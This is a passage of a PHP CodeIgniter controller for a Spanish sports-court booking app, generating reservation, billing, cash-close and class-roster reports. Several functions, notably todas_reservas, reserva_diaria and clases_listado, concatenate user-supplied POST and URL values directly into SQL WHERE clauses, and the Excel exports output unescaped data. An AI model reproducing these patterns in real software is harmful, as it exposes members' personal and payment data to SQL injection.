$this->session->unset_userdata('error_message'); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } function todas_reservas() { $this->load->model('Reservas_model', 'reservas', TRUE); # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $campos_busqueda = $this->simpleSearchFields(); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; //booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc //print_r($this->reservas->get_global_list()); $where_arr=array(); $selected_sport=$this->input->post('sports'); $selected_court_type=$this->input->post('court_type'); $selected_court=$this->input->post('court'); $selected_status=$this->input->post('status'); $selected_paymentway=$this->input->post('paymentway'); $selected_user=$this->input->post('user'); $selected_no_cost=$this->input->post('no_cost'); $selected_date1=$this->input->post('date1'); if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')). " -1 month")); $selected_date2=$this->input->post('date2'); if(!isset($selected_date2) || $selected_date2=="") $selected_date2=date($this->config->item('reserve_date_filter_format')); if($selected_sport!="") array_push($where_arr, "courts.sport_type = '".$selected_sport."'"); if($selected_court_type!="") array_push($where_arr, "courts.court_type = '".$selected_court_type."'"); if($selected_court!="") array_push($where_arr, "id_court = '".$selected_court."'"); if($selected_status!="") array_push($where_arr, "status = '".$selected_status."'"); if($selected_paymentway!="") array_push($where_arr, "id_paymentway = '".$selected_paymentway."'"); if($selected_user!="") array_push($where_arr, "id_user = '".$selected_user."'"); if($selected_no_cost!="") array_push($where_arr, "no_cost = '".$selected_no_cost."'"); if($selected_date1!="") array_push($where_arr, "date >= '".$selected_date1."'"); if($selected_date2!="") array_push($where_arr, "date <= '".$selected_date2."'"); $where=implode(' AND ', $where_arr); $order='date, courts.name, intervalo'; $order_way='asc'; $records = $this->reservas->get_global_list($where, $order, $order_way, null); /* foreach ($records['records']->result() as $row) { $resultado[] = array( $row->id, $row->id_booking, $row->id_user, $row->session, $row->id_court, $row->fecha, $row->intervalo, $row->status, $row->id_paymentway, $row->price, $row->no_cost, $row->no_cost_desc, $row->user_desc, $row->user_phone, $row->create_user, $row->create_time, $row->modify_user, $row->modify_time, $row->court_name, $row->first_name, $row->last_name, $row->status_desc, $row->paymentway_desc ); } */ $resultado=array(); foreach ($records['records']->result() as $row) { if($row->id_user) $usuario = $row->first_name." ".$row->last_name; else $usuario = $row->user_desc."(".$row->user_phone.")"; if(!$row->no_cost) $cobro=img( array('src'=>'images/coins.png', "align"=>"absmiddle", "border"=>"0")); else $cobro=$row->no_cost_desc; $resultado[] = array( $row->court_name, $row->fecha, $row->intervalo, $row->status_desc, $row->paymentway_desc, $usuario, $row->price, $cobro ); } //print("<pre>");print_r($resultado); $fields=array('Pista', 'Fecha', 'Hora', 'Estado de pago', 'Forma de pago', 'Usuario', 'Precio', 'Ingreso'); $contenido = $this->load->view('informes/result', array('resultado' => $resultado, 'campos' => $fields, 'filtros' => $campos_busqueda), TRUE); $data=array( 'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true), 'main_content' => $contenido, 'form_name' => 'frmInforme', 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de facturaciรณn diaria # ------------------------------------------------------------------- function facturacion_diaria($formato="") { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->library('calendario'); # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $campos_busqueda = $this->simpleSearchFields(array('sports'=>0, 'court_type'=>0, 'court'=>0, 'status'=>0, 'paymentway'=>0, 'date1' => date($this->config->item('reserve_date_filter_format')), 'date2' => date($this->config->item('reserve_date_filter_format')))); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; //booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc //print_r($this->reservas->get_global_list()); $where_arr=array(); $selected_date1=$this->input->post('date1'); if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format')); $selected_date2=$this->input->post('date2'); if(!isset($selected_date2) || $selected_date2=="") $selected_date2=date($this->config->item('reserve_date_filter_format')); $selected_hour1=$this->input->post('hora1'); if(!isset($selected_hour1) || $selected_hour1=="") $selected_hour1='00:00:00'; $selected_hour2=$this->input->post('hora2'); if(!isset($selected_hour2) || $selected_hour2=="") $selected_hour2='23:59:00'; if($selected_date1!="") array_push($where_arr, "date(datetime) >= '".date($this->config->item('date_db_format'), strtotime($selected_date1))."'"); if($selected_date2!="") array_push($where_arr, "date(datetime) <= '".date($this->config->item('date_db_format'), strtotime($selected_date2))."'"); if($selected_hour1!="") array_push($where_arr, "time(datetime) >= '".date($this->config->item('hour_db_format'), strtotime($selected_hour1))."'"); if($selected_hour2!="") array_push($where_arr, "time(datetime) <= '".date($this->config->item('hour_db_format'), strtotime($selected_hour2))."'"); $estados = $this->config->item('payment_considered_to_report'); //echo 'aaaa'; print_r($estados); array_push($where_arr, "payments.status IN (".implode(', ', $estados).")"); $where=implode(' AND ', $where_arr); $order='zz_paymentway.description, payments.id_type '; $order_way='asc'; $records = $this->pagos->get_global_list($where, $order, $order_way, null); /* foreach ($records['records']->result() as $row) { $resultado[] = array( $row->id, $row->id_booking, $row->id_user, $row->session, $row->id_court, $row->fecha, $row->intervalo, $row->status, $row->id_paymentway, $row->price, $row->no_cost, $row->no_cost_desc, $row->user_desc, $row->user_phone, $row->create_user, $row->create_time, $row->modify_user, $row->modify_time, $row->court_name, $row->first_name, $row->last_name, $row->status_desc, $row->paymentway_desc ); } */ $resultado=array(); //print("<pre>");print_r($records['records']->result()); foreach ($records['records']->result() as $row) { if($row->id_user) $usuario = $row->first_name." ".$row->last_name; else $usuario = $row->desc_user; if(trim($usuario)=="") $usuario="No registrado"; $info=""; if ($row->id_type=="1" || $row->id_type=="4") { #Si estamos hablando de reservas de pistas $info=$this->reservas->getBookingInfoById($row->id_transaction); $cantidad=$info['intervals']/2; $fecha=$info['date']; $minimo=""; $maximo=""; if(isset($info['reserva'])) { foreach($info['reserva'] as $code => $reserva) { if ($row->id_type=="1") $pista='Reservas '.$code; else $pista='Retos '.$code; foreach($reserva as $dato) { //print($dato[0]); if($minimo=="" || $minimo > $dato[0]) $minimo = $dato[0]; if($maximo=="" || $maximo < $dato[1]) $maximo = $dato[1]; } } } } elseif ($row->id_type=="2") { #Si estamos hablando de un curso $transaccion = explode('-', $row->id_transaction); //echo "AA".$transaccion[1]; $info = $this->calendario->getCalendarByRange($transaccion[1]); //print_r($info); if(is_object($info)) { //$pista = $info->court_desc; //if(!isset($pista) || $pista!="") $pista = "Desconocida"; $cantidad = (date('U', strtotime($info->end_time)) - date('U', strtotime($info->start_time))) / 3600; $minimo = date($this->config->item('hour_db_format'), strtotime($info->start_time)); $maximo = date($this->config->item('hour_db_format'), strtotime($info->end_time)); } else { $pista = "Desconocida"; $cantidad = 1; $minimo = 1; $maximo = 2; } $pista = "Cuota curso"; } elseif ($row->id_type=="5") { #Si estamos hablando de una cuota de usuario $pista = "Cuota usuario"; $cantidad = 1; $minimo = 1; $maximo = 2; } elseif ($row->id_type=="3") { #Si estamos hablando de pago de prepago $pista = "Pago bono prepago"; $cantidad = 1; $minimo = 1; $maximo = 2; } elseif ($row->id_type=="98") { #Si estamos hablando de suplemento luz $pista = "Suplemento luz"; $cantidad = 1; $minimo = 1; $maximo = 2; } else { $pista = "Pagos varios"; $cantidad = 1; $minimo = 1; $maximo = 2; } //print_r($info); //echo $row->id_transaction."<br>"; $resultado[] = array( $row->paymentway_desc, $row->id_type_desc, date($this->config->item('reserve_date_filter_format'), strtotime($row->datetime)), $pista, //number_format($cantidad,2,',', '.'), $cantidad, //number_format($row->quantity,2,',', '.'), $row->quantity, $minimo, $maximo, //$row->datetime, //$this->lang->line($row->status_desc), $usuario, $row->description ); } //print("<pre>");print_r($resultado); if($formato=="excel") { $this->output->set_header("Content-type: application/vnd.ms-excel"); $this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls"); $_meses=array('','Enero','Febrero', 'Marzo','Abril','Mayo','Junio','Julio','Agosto','Septiembre','Octubre', 'Noviembre','Diciembre'); $_dias=$this->config->item('weekdays_names'); $salida=""; $salida='<table boder="1">'."\r\n"; $salida.='<tr><td>N. Ticket</td><td>Tipo reserva</td><td>Fecha Cobro</td><td>Fecha Valor</td><td>Forma pago</td><td>Servicio</td><td>Concepto</td><td>N. Abonado</td><td>Usuario</td><td>Tipo usuario</td><td>Telefono</td><td>Nivel</td><td>Precio</td><td>Aรฑo</td><td>Mes</td><td>Mes2</td><td>Dia</td><td>Dia Semana</td><td>Dia Semana 2</td></tr>'; foreach ($records['records']->result() as $pago) { //print_r($pago);exit(); if($pago->id_user) $usuario = $pago->first_name." ".$pago->last_name; else $usuario = $pago->desc_user; if($pago->grupo != '') $grupo = $pago->grupo; else $grupo = 'Anonimo'; if(stristr($pago->description, 'reto ')) $reto = 'Reto'; else $reto = $pago->id_type_desc; $salida.='<tr><td>'.$pago->ticket_number.'</td><td>'.$pago->id_type_desc.'</td><td>'.$pago->date.'</td><td>'.$pago->fecha_valor.'</td><td>'.$pago->paymentway_desc.'</td><td>'.$reto.'</td><td>'.$pago->description.'</td><td>'.$pago->numero_socio.'</td><td>'.$usuario.'</td><td>'.$grupo.'</td><td>'.$pago->phone.'</td><td>'.str_replace('.', ',', $pago->player_level).'</td><td>'.str_replace('.', ',', $pago->quantity).'</td><td>'.date('Y', strtotime($pago->date)).'</td><td>'.date('m', strtotime($pago->date)).'</td><td>'.$_meses[date('n', strtotime($pago->date))].'</td><td>'.date('d', strtotime($pago->date)).'</td><td>'.date('w', strtotime($pago->date)).'</td><td>'.$_dias[date('w', strtotime($pago->date))].'</td></tr>'; /* $salida.='<tr>'."\r\n"; $i=0; foreach($pago as $valor) { if($i == 4 || $i == 5) $salida.='<td>'.number_format($valor,2,',', '.').'</td>'."\r\n"; else $salida.='<td>'.$valor.'</td>'."\r\n"; $i++; } $salida.='</tr>'."\r\n"; */ } $salida.='</table>'; $this->output->set_output($salida); return NULL; } //echo $salida; $array_resultados=array(); //print("<pre>");print_r($resultado); # Post proceso el resultado para crear un array jerarquizado por niveles donde contenga los pagos por tipo, pista, etc.. foreach($resultado as $pago) { $total_euro=0; $total_cantidad=0; if(isset($array_resultados[$pago[0]])) { # Si esstรก definido el elemento, recupero el valor anterior para sumรกrselo $total_euro=$array_resultados[$pago[0]]['total_euro']; $total_cantidad=$array_resultados[$pago[0]]['total_cantidad']; } else { # Si no existe el elemento, es que es la primera vuelta que doy en esa forma de pago, asรญ que reinicio valores. $array_resultados[$pago[0]]=array('tipo' => $pago[0], 'total_euro' => 0.0, 'total_cantidad' => 0.0, 'detalle' => array()); } //echo "para pago ".$pago[0]." tenรญa ".$array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad y me quedarรฉ con"; $array_resultados[$pago[0]]['total_euro'] += $pago[5]; $array_resultados[$pago[0]]['total_cantidad'] += $pago[4]; if(isset($array_resultados[$pago[0]]['detalle'][$pago[3]])) { $detalle = $array_resultados[$pago[0]]['detalle'][$pago[3]]; $detalle['cantidad']+=$pago[4]; $detalle['euros']+=$pago[5]; $array_resultados[$pago[0]]['detalle'][$pago[3]] = $detalle; } else { $array_resultados[$pago[0]]['detalle'][$pago[3]]=array('pista' => $pago[3], 'cantidad' => $pago[4], 'euros' => $pago[5]); //print("<pre>");print_r($array_resultados); } //array_push($array_resultados[$pago[0]]['detalle'], ); //echo $array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad<br>".$pago[5].'<br>'; } //print("<pre>");print_r($array_resultados); $fields=array('Fecha y hora', 'Concepto','Estado de pago', 'Forma de pago', 'Usuario', 'Cantidad', 'Descripcion'); $contenido = $this->load->view('informes/facturacion_diaria', array('resultado' => $array_resultados, 'campos' => $fields, 'filtros' => $campos_busqueda, 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true)), TRUE); $data=array( 'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true), 'main_content' => $contenido, 'form_name' => 'frmInforme', 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado para cierre de caja # ------------------------------------------------------------------- function cierre_dia($formato="") { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $where="date(datetime) = '".date($this->config->item('date_db_format'))."' AND id_paymentway in (1,2)"; $order='zz_paymentway.description, payments.id_type '; $order_way='asc'; $records = $this->pagos->get_global_list($where, $order, $order_way, null); /* foreach ($records['records']->result() as $row) { $resultado[] = array( $row->id, $row->id_booking, $row->id_user, $row->session, $row->id_court, $row->fecha, $row->intervalo, $row->status, $row->id_paymentway, $row->price, $row->no_cost, $row->no_cost_desc, $row->user_desc, $row->user_phone, $row->create_user, $row->create_time, $row->modify_user, $row->modify_time, $row->court_name, $row->first_name, $row->last_name, $row->status_desc, $row->paymentway_desc ); } */ $resultado=array(); //print("<pre>"); foreach ($records['records']->result() as $row) { if($row->id_user) $usuario = $row->first_name." ".$row->last_name; else $usuario = $row->desc_user; if(trim($usuario)=="") $usuario="No registrado"; $info=""; if ($row->id_type=="1") { #Si estamos hablando de reservas de pistas $info=$this->reservas->getBookingInfoById($row->id_transaction); //print("<pre>");print_r($info); $cantidad=$info['intervals']/2; $fecha=$info['date']; $minimo=""; $maximo=""; if(isset($info['reserva'])){ foreach($info['reserva'] as $code => $reserva) { $pista=$code; foreach($reserva as $dato) { //print($dato[0]); if($minimo=="" || $minimo > $dato[0]) $minimo = $dato[0]; if($maximo=="" || $maximo < $dato[1]) $maximo = $dato[1]; } } } } //print_r($info); //echo $row->id_transaction."<br>"; $resultado[] = array( $row->paymentway_desc, $row->id_type_desc, date($this->config->item('reserve_date_filter_format'), strtotime($row->datetime)), $pista, //number_format($cantidad,2,',', '.'), $cantidad, //number_format($row->quantity,2,',', '.'), $row->quantity, $minimo, $maximo, //$row->datetime, //$this->lang->line($row->status_desc), $usuario ); } //print("<pre>");print_r($resultado); if($formato=="excel") { $this->output->set_header("Content-type: application/vnd.ms-excel"); $this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls"); $salida=""; $salida='<table boder="1">'."\r\n"; $salida.='<tr><td>Forma Pago</td><td>Tipo reserva</td><td>Fecha</td><td>Servicio</td><td>Cantidad</td><td>Precio</td><td>Inicio</td><td>Fin</td><td>Usuario</td></tr>'; foreach($resultado as $pago) { $salida.='<tr>'."\r\n"; foreach($pago as $valor) $salida.='<td>'.$valor.'</td>'."\r\n"; $salida.='</tr>'."\r\n"; } $salida.='</table>'; $this->output->set_output($salida); return NULL; } //echo $salida; $array_resultados=array(); # Post proceso el resultado para crear un array jerarquizado por niveles donde contenga los pagos por tipo, pista, etc.. foreach($resultado as $pago) { $total_euro=0; $total_cantidad=0; if(isset($array_resultados[$pago[0]])) { # Si esstรก definido el elemento, recupero el valor anterior para sumรกrselo $total_euro=$array_resultados[$pago[0]]['total_euro']; $total_cantidad=$array_resultados[$pago[0]]['total_cantidad']; } else { # Si no existe el elemento, es que es la primera vuelta que doy en esa forma de pago, asรญ que reinicio valores. $array_resultados[$pago[0]]=array('tipo' => $pago[0], 'total_euro' => 0, 'total_cantidad' => 0, 'detalle' => array()); } //echo "para pago ".$pago[0]." tenรญa ".$array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad y me quedarรฉ con"; $array_resultados[$pago[0]]['total_euro']+=$pago[5]; $array_resultados[$pago[0]]['total_cantidad']+=$pago[4]; if(isset($array_resultados[$pago[0]]['detalle'][$pago[3]])) { $detalle = $array_resultados[$pago[0]]['detalle'][$pago[3]]; $detalle['cantidad']+=$pago[4]; $detalle['euros']+=$pago[5]; $array_resultados[$pago[0]]['detalle'][$pago[3]] = $detalle; } else { $array_resultados[$pago[0]]['detalle'][$pago[3]]=array('pista' => $pago[3], 'cantidad' => $pago[4], 'euros' => $pago[5]); } //array_push($array_resultados[$pago[0]]['detalle'], ); //echo $array_resultados[$pago[0]]['total_euro']." euros y ".$array_resultados[$pago[0]]['total_cantidad']." de cantidad<br>"; } //print("<pre>");print_r($array_resultados); $fields=array('Fecha y hora', 'Concepto','Estado de pago', 'Forma de pago', 'Usuario', 'Cantidad', 'Descripcion'); $contenido = $this->load->view('informes/cierre_dia', array('resultado' => $array_resultados, 'campos' => $fields, 'filtros' => array()), TRUE); $data=array( 'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), //'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true), 'main_content' => $contenido, 'form_name' => 'frmInforme', 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve los partes diarios de las clases de hoy # ------------------------------------------------------------------- function clases_dia($formato="") { $this->load->library('calendario'); $this->load->model('Lessons_model', 'clases', TRUE); //$this->calendario->listCalendarByRange(); $resultado = $this->calendario->listCalendarByRange(date('U', strtotime(date($this->config->item('date_db_format')))), date('U', strtotime(date($this->config->item('date_db_format')).' 23:59:59'))); $clases = array(); foreach($resultado['events'] as $clase ) { $datos = array(); $datos['nombre'] = $clase[1]; $datos['horario'] = date($this->config->item('reserve_hour_filter_format'), strtotime($clase[2])).' - '.date($this->config->item('reserve_hour_filter_format'), strtotime($clase[3])); $datos['pista'] = $clase[9]; $datos['profesor'] = $clase[13]; $datos['alumnos'] = array(); $alumn = null; $alumn = $this->clases->get_AssitantsData(array('where' => 'lessons.id = '.$clase[0].' and lessons_assistants.status NOT IN (7,9)')); foreach($alumn as $alu) array_push($datos['alumnos'], $alu['user_desc']); //print('<pre>');print_r($alumn);print('</pre>'); array_push($clases, $datos); } //print('<pre>');print_r($clases);print('</pre>'); $contenido = ''; foreach($clases as $clase) { if(count($clase['alumnos']) > 0) { $contenido .= $this->load->view('informes/clase_dia', array('datos' => $clase), TRUE); $contenido .= '<DIV style="page-break-after: always;"></DIV>'; } } //echo $contenido.'<hr>';exit(); if($contenido!='') { $this->load->helper(array('dompdf', 'file')); pdf_create($contenido, 'partes_clases_'.date('Ymd')); } else { redirect('informes'); exit(); } exit(); print('<pre>');print_r($clases); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve los partes diarios de las clases de hoy # ------------------------------------------------------------------- function clases_listado($curso='all', $formato="") { $this->load->library('calendario'); $this->load->model('Lessons_model', 'clases', TRUE); //echo 'aa'; //$resultado = $this->clases->get_data(array('where'=>'lessons.id_sport = 4')); $where=''; if($curso!='') $where="lessons.id = ".$curso; $resultado = $this->clases->get_data(array('where'=>$where, 'orderby'=>'zz_sports.description ASC, lessons.description', 'orderbyway'=>'ASC')); //$resultado = $this->calendario->listCalendarByRange(date('U', strtotime(date($this->config->item('date_db_format')))), date('U', strtotime(date($this->config->item('date_db_format')).' 23:59:59'))); //print('<pre>');print_r($resultado);print('</pre>');exit(); $clases = array(); foreach($resultado as $clase ) { $datos = array(); $datos['nombre'] = $clase['description']; $datos['horario'] =$clase['rango_horas']; $datos['pista'] = $clase['court_desc']; $datos['profesor'] = $clase['profesor']; $datos['alumnos'] = array(); $alumn = null; $alumn = $this->clases->get_AssitantsData(array('where' => 'lessons.id = '.$clase['id'].' and lessons_assistants.status NOT IN (7,9)')); foreach($alumn as $alu) array_push($datos['alumnos'], array('nombre' => $alu['user_desc'], 'nif' => $alu['nif'], 'nacimiento' => $alu['fecha_nacimiento'], 'telefono' => $alu['user_phone'])); //print('<pre>');print_r($alumn);print('</pre>');exit(); array_push($clases, $datos); } //print('<pre>');print_r($clases);print('</pre>');exit(); if(isset($formato) && $formato=='excel') { $this->load->helper('export'); listado_clases($clases); exit(); } else { $contenido = ''; foreach($clases as $clase) { if(count($clase['alumnos']) > 0) { $contenido .= $this->load->view('informes/listado_alumnos', array('datos' => $clase), TRUE); $contenido .= '<DIV style="page-break-after: always;"></DIV>'; } } //echo $contenido.'<hr>';exit(); if($contenido!='') { $this->load->helper(array('dompdf', 'file')); pdf_create($contenido, 'listado_clases_'.date('Ymd')); } else { redirect('informes'); exit(); } } exit(); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de reservas diarias # ------------------------------------------------------------------- function reserva_diaria($formato="") { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { $this->session->set_userdata('error_message', 'Acceso a pagina no permitida'); redirect(site_url(), 'Location'); exit(); } #################### # FILTROS $campos_busqueda = $this->simpleSearchFields(array('sports'=>0, 'court_type'=>0, 'court'=>0, 'status'=>0, 'paymentway'=>0, 'date1' => date($this->config->item('reserve_date_filter_format')), 'date2' => date($this->config->item('reserve_date_filter_format')), 'hora1' => '00:00:00', 'hora2' => '23:59:00')); //print("<pre>");print_r($campos_busqueda); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; //booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc //print_r($this->reservas->get_global_list()); $where_arr=array(); $selected_date1=$this->input->post('date1'); if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format')); $selected_date2=$this->input->post('date2'); if(!isset($selected_date2) || $selected_date2=="") $selected_date2=date($this->config->item('reserve_date_filter_format')); if($selected_date1!="") array_push($where_arr, "`date` >= '".date($this->config->item('date_db_format'), strtotime($selected_date1))."'"); if($selected_date2!="") array_push($where_arr, "`date` <= '".date($this->config->item('date_db_format'), strtotime($selected_date2))."'"); $selected_time1=$this->input->post('hora1'); if(!isset($selected_time1) || $selected_time1=="") $selected_time1='00:00:00'; $selected_time2=$this->input->post('hora2'); if(!isset($selected_time2) || $selected_time2=="") $selected_time2='23:59:00'; if($selected_time1!="") array_push($where_arr, "`intervalo` >= '".$selected_time1."'"); if($selected_time2!="") array_push($where_arr, "`intervalo` <= '".$selected_time2."'"); $where=implode(' AND ', $where_arr); $order='courts.name, booking.date, booking.intervalo '; $order_way='asc'; $records = $this->reservas->get_global_list($where, $order, $order_way, null); $resultado=array(); //print("aaaa<pre>"); //print_r($records['records']->result_array()); $trans=""; foreach ($records['records']->result() as $row) { if($trans != $row->id_transaction) { $info=$this->reservas->getBookingInfoById($row->id_transaction); //echo $info['inicio']; print_r($info); print_r($row); exit(); //print("<pre>"); print_r($row); if($row->id_user) $usuario = $row->first_name." ".$row->last_name; elseif($row->user_desc) $usuario = $row->user_desc; else $usuario = "Desconocido"; if($row->id_user) $telefono = $row->phone; else $telefono = $row->user_phone; if($row->id_paymentway == 0 ) $forma_pago = 'No pagado'; else $forma_pago = $row->paymentway_desc; if($row->no_cost == 0 ) $no_cost = ''; else $no_cost = $row->no_cost_desc; $resultado[] = array( $row->id_transaction, $row->court_name, $row->fecha, $info['inicio'], $info['fin'], $row->id_user, $usuario, $telefono, $info['intervals'], $forma_pago, $no_cost ); $trans=$row->id_transaction; } } //print("<pre>");print_r($resultado); if($formato=="excel") { $this->output->set_header("Content-type: application/vnd.ms-excel"); $this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls"); $salida=""; $salida='<table boder="1">'."\r\n"; $salida.='<tr><td>Id</td><td>Pista</td><td>Fecha</td><td>Inicio</td><td>Fin</td><td>Id Usuario</td><td>Usuario</td><td>Telefono</td><td>Intervalos</td><td>Forma Pago</td><td>Sin Coste</td></tr>'; foreach($resultado as $pago) { $salida.='<tr>'."\r\n"; foreach($pago as $valor) $salida.='<td>'.$valor.'</td>'."\r\n"; $salida.='</tr>'."\r\n"; } $salida.='</table>'; $this->output->set_output($salida); return NULL; } //echo $salida; $array_resultados=array(); # Post proceso el resultado para crear un array jerarquizado por niveles donde contenga las reservas por pista foreach($resultado as $reserva) { $total_euro=0; $total_cantidad=0; if(!isset($array_resultados[$reserva[1]])) { # Si no existe el elemento, es que es la primera vuelta que doy en esa pista $array_resultados[$reserva[1]]=array(); } array_push($array_resultados[$reserva[1]], array('id_transaction' => $reserva[0], 'id_user' => $reserva[5], 'user' => $reserva[6], 'phone' => $reserva[7], 'fecha' => $reserva[2], 'inicio' => $reserva[3], 'fin' => $reserva[4], 'intervalos' => $reserva[8], 'payment_way' => $reserva[9])); } //print("<pre>");print_r($array_resultados); $fields=array(htmlentities('Nยบ Socio'), 'Fecha','Inicio', 'Fin', 'Usuario', 'Telefono', 'Forma Pago'); $contenido = $this->load->view('informes/reserva_diaria', array('resultado' => $array_resultados, 'campos' => $fields, 'filtros' => $campos_busqueda, 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true)), TRUE); $data=array( 'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'navigation' => $this->load->view('navigation', '', true), 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true), 'main_content' => $contenido, 'form_name' => 'frmInforme', 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de ocupaciรณn # ------------------------------------------------------------------- function reserva_ocupacion($formato="") { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Payment_model', 'pagos', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } #################### # FILTROS $campos_busqueda = $this->simpleSearchFields(array('sports'=>0, 'court_type'=>0, 'court'=>0, 'status'=>0, 'paymentway'=>0, 'date1' => date($this->config->item('reserve_date_filter_format')), 'date2' => date($this->config->item('reserve_date_filter_format')))); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; //booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc //print_r($this->reservas->get_global_list()); $where_arr=array(); $selected_date1=$this->input->post('date1'); if(!isset($selected_date1) || trim($selected_date1)=="") 